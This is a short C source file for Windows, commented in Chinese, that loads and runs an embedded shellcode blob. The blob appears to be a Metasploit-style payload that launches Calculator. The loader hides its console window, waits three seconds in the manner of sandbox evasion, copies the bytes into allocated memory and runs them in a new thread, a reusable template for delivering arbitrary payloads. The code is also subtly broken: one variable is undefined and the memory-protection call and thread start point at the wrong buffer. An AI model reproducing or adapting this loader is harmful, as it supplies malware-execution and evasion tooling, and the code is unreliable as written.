// @环境    win10 + vs2019
// @zznq

#include <Windows.h>
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

void main()
{
    unsigned char shellcode[] =
        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
        "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
        "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
        "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
        "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
        "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
        "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
        "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
        "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
        "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
        "\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";
    DWORD dwOldProtect;
    PVOID p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_READWRITE);
    memcpy(p, shellcode, sizeof(shellcode));
    VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

    Sleep(3000);

    // 利用线程执行 shellcode
    DWORD dwThreadId; // 线程ID
    HANDLE hThread = CreateThread(
        NULL,                              // 安全描述符
        NULL,                              // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // LPTHREAD_START_ROUTINE - 函数指针
        NULL,                              // 参数
        NULL,                              // 线程标志
        &dwThreadId                        // 线程ID
    );

    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
    return 0;
}